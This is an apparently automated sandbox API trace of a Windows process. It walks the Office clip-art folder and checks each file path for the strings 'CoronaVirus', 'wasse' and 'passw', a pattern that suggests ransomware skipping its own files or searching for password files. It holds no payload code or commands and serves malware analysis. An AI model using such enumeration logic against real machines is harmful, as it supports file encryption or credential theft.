	[0099.557] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.558] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.jpg", _SubStr="wasse") returned 0x0
	[0099.558] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.jpg", _SubStr="passw") returned 0x0
	[0099.603] malloc (_Size=0x1000) returned 0x51f5098
	[0099.604] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313974.jpg") returned 68
	[0099.604] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313974.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.604] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313974.jpg", _SubStr="wasse") returned 0x0
	[0099.604] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313974.jpg", _SubStr="passw") returned 0x0
	[0099.682] malloc (_Size=0x1000) returned 0x51f0070
	[0099.682] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.jpg") returned 68
	[0099.682] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.682] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.jpg", _SubStr="wasse") returned 0x0
	[0099.682] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.jpg", _SubStr="passw") returned 0x0
	[0099.841] malloc (_Size=0x1000) returned 0x51f3088
	[0099.849] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.jpg") returned 68
	[0099.849] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.849] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.jpg", _SubStr="wasse") returned 0x0
	[0099.849] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.jpg", _SubStr="passw") returned 0x0
	[0099.852] malloc (_Size=0x1000) returned 0x51f0070
	[0099.852] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.jpg") returned 68
	[0099.852] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.852] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.jpg", _SubStr="wasse") returned 0x0
	[0099.852] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.jpg", _SubStr="passw") returned 0x0
	[0099.902] malloc (_Size=0x1000) returned 0x51f80b0
	[0099.902] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.jpg") returned 68
	[0099.902] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.902] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.jpg", _SubStr="wasse") returned 0x0
	[0099.907] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.jpg", _SubStr="passw") returned 0x0
	[0099.918] malloc (_Size=0x1000) returned 0x51f60a0
	[0099.918] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.jpg") returned 68
	[0099.918] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.918] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.jpg", _SubStr="wasse") returned 0x0
	[0099.918] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.jpg", _SubStr="passw") returned 0x0
	[0099.977] malloc (_Size=0x1000) returned 0x51f0070
	[0099.977] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.jpg") returned 68
	[0099.977] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.jpg", _SubStr="CoronaVirus") returned 0x0
	[0099.981] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.jpg", _SubStr="wasse") returned 0x0
	[0099.981] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.jpg", _SubStr="passw") returned 0x0
	[0100.036] malloc (_Size=0x1000) returned 0x51f5098
	[0100.039] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341344.jpg") returned 68
	[0100.039] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341344.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.039] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341344.jpg", _SubStr="wasse") returned 0x0
	[0100.039] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341344.jpg", _SubStr="passw") returned 0x0
	[0100.048] malloc (_Size=0x1000) returned 0x51f60a0
	[0100.048] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.jpg") returned 68
	[0100.049] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.049] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.jpg", _SubStr="wasse") returned 0x0
	[0100.052] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.jpg", _SubStr="passw") returned 0x0
	[0100.054] malloc (_Size=0x1000) returned 0x51f3088
	[0100.054] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.jpg") returned 68
	[0100.060] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.060] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.jpg", _SubStr="wasse") returned 0x0
	[0100.060] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.jpg", _SubStr="passw") returned 0x0
	[0100.062] malloc (_Size=0x1000) returned 0x51f0070
	[0100.063] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.jpg") returned 68
	[0100.064] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.064] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.jpg", _SubStr="wasse") returned 0x0
	[0100.064] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.jpg", _SubStr="passw") returned 0x0
	[0100.067] malloc (_Size=0x1000) returned 0x51f90b8
	[0100.067] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341455.jpg") returned 68
	[0100.067] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341455.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.068] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341455.jpg", _SubStr="wasse") returned 0x0
	[0100.068] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341455.jpg", _SubStr="passw") returned 0x0
	[0100.164] malloc (_Size=0x1000) returned 0x51f4090
	[0100.164] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.jpg") returned 68
	[0100.164] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.164] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.jpg", _SubStr="wasse") returned 0x0
	[0100.164] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.jpg", _SubStr="passw") returned 0x0
	[0100.168] malloc (_Size=0x1000) returned 0x51f0070
	[0100.168] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.jpg") returned 68
	[0100.168] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.168] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.jpg", _SubStr="wasse") returned 0x0
	[0100.168] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.jpg", _SubStr="passw") returned 0x0
	[0100.193] malloc (_Size=0x1000) returned 0x51f0070
	[0100.193] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.jpg") returned 68
	[0100.193] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.193] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.jpg", _SubStr="wasse") returned 0x0
	[0100.194] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.jpg", _SubStr="passw") returned 0x0
	[0100.200] malloc (_Size=0x1000) returned 0x51fa0c0
	[0100.201] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341551.jpg") returned 68
	[0100.201] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341551.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.201] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341551.jpg", _SubStr="wasse") returned 0x0
	[0100.201] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341551.jpg", _SubStr="passw") returned 0x0
	[0100.215] malloc (_Size=0x1000) returned 0x51f3088
	[0100.218] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.jpg") returned 68
	[0100.218] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.218] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.jpg", _SubStr="wasse") returned 0x0
	[0100.218] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.jpg", _SubStr="passw") returned 0x0
	[0100.234] malloc (_Size=0x1000) returned 0x51f0070
	[0100.234] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.jpg") returned 68
	[0100.234] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.234] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.jpg", _SubStr="wasse") returned 0x0
	[0100.234] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.jpg", _SubStr="passw") returned 0x0
	[0100.248] malloc (_Size=0x1000) returned 0x51f80b0
	[0100.248] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.jpg") returned 68
	[0100.250] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.250] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.jpg", _SubStr="wasse") returned 0x0
	[0100.250] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.jpg", _SubStr="passw") returned 0x0
	[0100.262] malloc (_Size=0x1000) returned 0x51f3088
	[0100.262] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341561.jpg") returned 68
	[0100.263] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341561.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.263] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341561.jpg", _SubStr="wasse") returned 0x0
	[0100.265] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341561.jpg", _SubStr="passw") returned 0x0
	[0100.278] malloc (_Size=0x1000) returned 0x51f60a0
	[0100.279] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.jpg") returned 68
	[0100.279] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.282] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.jpg", _SubStr="wasse") returned 0x0
	[0100.282] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.jpg", _SubStr="passw") returned 0x0
	[0100.291] malloc (_Size=0x1000) returned 0x51f4090
	[0100.291] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.jpg") returned 68
	[0100.291] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.291] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.jpg", _SubStr="wasse") returned 0x0
	[0100.291] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.jpg", _SubStr="passw") returned 0x0
	[0100.297] malloc (_Size=0x1000) returned 0x51f5098
	[0100.297] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.jpg") returned 68
	[0100.297] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.297] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.jpg", _SubStr="wasse") returned 0x0
	[0100.297] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.jpg", _SubStr="passw") returned 0x0
	[0100.304] malloc (_Size=0x1000) returned 0x51f0070
	[0100.304] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341653.jpg") returned 68
	[0100.305] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341653.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.305] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341653.jpg", _SubStr="wasse") returned 0x0
	[0100.305] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341653.jpg", _SubStr="passw") returned 0x0
	[0100.307] malloc (_Size=0x1000) returned 0x51f60a0
	[0100.307] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.jpg") returned 68
	[0100.307] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.307] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.jpg", _SubStr="wasse") returned 0x0
	[0100.307] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.jpg", _SubStr="passw") returned 0x0
	[0100.309] malloc (_Size=0x1000) returned 0x51f80b0
	[0100.309] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.jpg") returned 68
	[0100.309] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.309] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.jpg", _SubStr="wasse") returned 0x0
	[0100.309] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.jpg", _SubStr="passw") returned 0x0
	[0100.392] malloc (_Size=0x1000) returned 0x51f0070
	[0100.392] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.jpg") returned 68
	[0100.392] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.392] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.jpg", _SubStr="wasse") returned 0x0
	[0100.392] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.jpg", _SubStr="passw") returned 0x0
	[0100.396] malloc (_Size=0x1000) returned 0x51f5098
	[0100.409] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382836.jpg") returned 68
	[0100.409] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382836.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.409] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382836.jpg", _SubStr="wasse") returned 0x0
	[0100.409] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382836.jpg", _SubStr="passw") returned 0x0
	[0100.413] malloc (_Size=0x1000) returned 0x51f3088
	[0100.413] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.jpg") returned 68
	[0100.413] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.413] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.jpg", _SubStr="wasse") returned 0x0
	[0100.413] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.jpg", _SubStr="passw") returned 0x0
	[0100.432] malloc (_Size=0x1000) returned 0x51f0070
	[0100.448] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.jpg") returned 68
	[0100.448] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.448] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.jpg", _SubStr="wasse") returned 0x0
	[0100.448] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.jpg", _SubStr="passw") returned 0x0
	[0100.514] malloc (_Size=0x1000) returned 0x51f0070
	[0100.519] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.jpg") returned 68
	[0100.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.jpg", _SubStr="wasse") returned 0x0
	[0100.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382927.jpg", _SubStr="passw") returned 0x0
	[0100.522] malloc (_Size=0x1000) returned 0x51f4090
	[0100.522] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382930.jpg") returned 68
	[0100.522] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382930.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.522] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382930.jpg", _SubStr="wasse") returned 0x0
	[0100.522] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382930.jpg", _SubStr="passw") returned 0x0
	[0100.634] malloc (_Size=0x1000) returned 0x51f0070
	[0100.634] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.jpg") returned 68
	[0100.634] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.634] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.jpg", _SubStr="wasse") returned 0x0
	[0100.634] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382931.jpg", _SubStr="passw") returned 0x0
	[0100.645] malloc (_Size=0x1000) returned 0x51fa0c0
	[0100.645] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.jpg") returned 68
	[0100.645] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.652] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.jpg", _SubStr="wasse") returned 0x0
	[0100.652] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382938.jpg", _SubStr="passw") returned 0x0
	[0100.774] malloc (_Size=0x1000) returned 0x51f3088
	[0100.774] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.jpg") returned 68
	[0100.774] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.776] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.jpg", _SubStr="wasse") returned 0x0
	[0100.776] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.jpg", _SubStr="passw") returned 0x0
	[0100.790] malloc (_Size=0x1000) returned 0x51f0070
	[0100.790] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382942.jpg") returned 68
	[0100.790] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382942.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.797] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382942.jpg", _SubStr="wasse") returned 0x0
	[0100.797] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382942.jpg", _SubStr="passw") returned 0x0
	[0100.892] malloc (_Size=0x1000) returned 0x51f3088
	[0100.895] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.jpg") returned 68
	[0100.895] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.895] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.jpg", _SubStr="wasse") returned 0x0
	[0100.895] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.jpg", _SubStr="passw") returned 0x0
	[0100.898] malloc (_Size=0x1000) returned 0x51f4090
	[0100.898] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.jpg") returned 68
	[0100.898] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.898] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.jpg", _SubStr="wasse") returned 0x0
	[0100.898] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382947.jpg", _SubStr="passw") returned 0x0
	[0100.943] malloc (_Size=0x1000) returned 0x51f3088
	[0100.944] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.jpg") returned 68
	[0100.944] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.944] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.jpg", _SubStr="wasse") returned 0x0
	[0100.947] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382948.jpg", _SubStr="passw") returned 0x0
	[0100.949] malloc (_Size=0x1000) returned 0x51f4090
	[0100.949] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382950.jpg") returned 68
	[0100.949] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382950.jpg", _SubStr="CoronaVirus") returned 0x0
	[0100.949] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382950.jpg", _SubStr="wasse") returned 0x0
	[0100.949] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382950.jpg", _SubStr="passw") returned 0x0
